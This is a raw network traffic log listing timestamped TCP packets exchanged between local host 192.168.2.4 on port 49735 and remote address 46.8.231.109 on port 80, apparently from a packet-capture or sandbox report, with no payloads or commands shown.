Sep 26, 2024 19:05:10.788371086 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.788386106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.788398981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.788419962 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.788948059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.788963079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.788985968 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.789014101 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.789710999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.789726019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.789758921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.789773941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.790299892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.790316105 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.790350914 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.790364981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.791125059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.791141033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.791177034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.791189909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.791910887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.791924953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.791939974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.791960001 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.791976929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.792464018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.792507887 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.792521954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.792536020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.792566061 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.793236017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.793251991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.793287992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.793308020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.794154882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.794169903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.794183969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.794199944 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.794228077 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.794589043 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.794605017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.794637918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.794656992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.795311928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.795326948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.795361042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.795370102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.795944929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.795962095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.795996904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.796005964 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.796737909 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.796753883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.796767950 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.796792984 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.796808958 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.797429085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.797456980 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.797487020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.797504902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.798181057 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.798197031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.798232079 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.798242092 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.798818111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.798830986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.798841953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.798866034 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.798875093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.799571037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.799582958 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.799623013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.800343990 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.800357103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.800394058 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.800931931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.800945044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.800988913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.801732063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.801749945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.801760912 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.801789999 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.801798105 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.802311897 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.802325964 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.802361012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.802371979 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.803100109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.803112984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.803147078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.803158998 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.803704977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.803719044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.803755045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.804589033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.804601908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.804641008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.805104017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.805115938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.805126905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.805162907 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.805171967 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.805880070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.805891991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.805931091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.807420969 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.807476997 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.899409056 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.899523973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.899538040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.899550915 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.899574995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.899589062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.900587082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.900599003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.900609970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.900679111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.901374102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.901385069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.901395082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.901429892 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.901451111 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.902795076 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.902807951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.902844906 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.903644085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.903656960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.903669119 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.903696060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.903703928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.904515982 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.904529095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.904567003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.905536890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.905550003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.905560017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.905570030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.905595064 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.905603886 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.906533003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.906544924 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.906584024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.907273054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.907285929 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.907299042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.907321930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.907341957 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.908039093 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908051968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908061028 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908091068 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.908102989 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.908828974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908842087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908852100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.908878088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.908889055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.909528017 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.909540892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.909579992 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.910341978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.910352945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.910384893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.910410881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.911237955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.911250114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.911261082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.911295891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.911312103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.911878109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.911890030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.911930084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.912550926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.912561893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.912600040 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.912806034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.912817955 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.912853003 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.913768053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913781881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913791895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913819075 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.913841009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.913917065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913928986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913938999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.913961887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.913981915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.914324999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914335966 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914345026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914355040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914372921 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.914392948 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.914767027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914778948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.914812088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.914835930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.915074110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.915086031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.915096045 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.915121078 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.915133953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.915843010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.915854931 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.915890932 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.915905952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.916445971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.916457891 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.916469097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.916493893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.916517973 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.917426109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.917438984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.917475939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.918252945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.918266058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.918275118 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.918299913 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.918318987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.919229031 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.919241905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.919276953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.919298887 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.920180082 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.920192003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.920229912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.921041965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.921055079 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.921102047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.921932936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.921945095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.921956062 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.921986103 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.921998978 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.922401905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.922415018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.922461033 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.923028946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.923042059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.923089027 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.923753977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.923770905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.923782110 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.923810005 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.923823118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.924376011 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.924423933 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.924746037 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.924757957 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.924798965 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.925431967 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.925451040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.925487041 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.925508022 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.926206112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.926218033 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.926254988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.926857948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.926870108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.926879883 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.926903009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.926928043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.927484989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.927496910 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.927537918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.928198099 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.928211927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.928250074 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.928837061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.928849936 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.928889036 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.929584026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.929595947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.929632902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.930223942 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.930237055 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.930248022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.930274010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.930284023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.930912018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.930924892 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.930963993 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.931597948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.931611061 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.931715012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.932318926 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.932332993 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.932365894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.932388067 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.933073044 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.933084965 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.933096886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.933119059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.933142900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.933782101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.933794022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.933831930 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:10.934585094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:10.934633970 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.000272989 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.000413895 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.000446081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.000456095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.000622988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.000988960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.001005888 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.001049995 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.001791000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.001808882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.001853943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.001868963 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.003108978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.003156900 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.003849030 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.003907919 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.004297018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.004309893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.004347086 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.005544901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.005556107 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.005621910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.006148100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.006160021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.006201029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.007328987 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.007340908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.007352114 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.007380009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.007395029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:11.007795095 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.007807016 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:11.007846117 CEST	49735	80	192.168.2.4	46.8.231.109
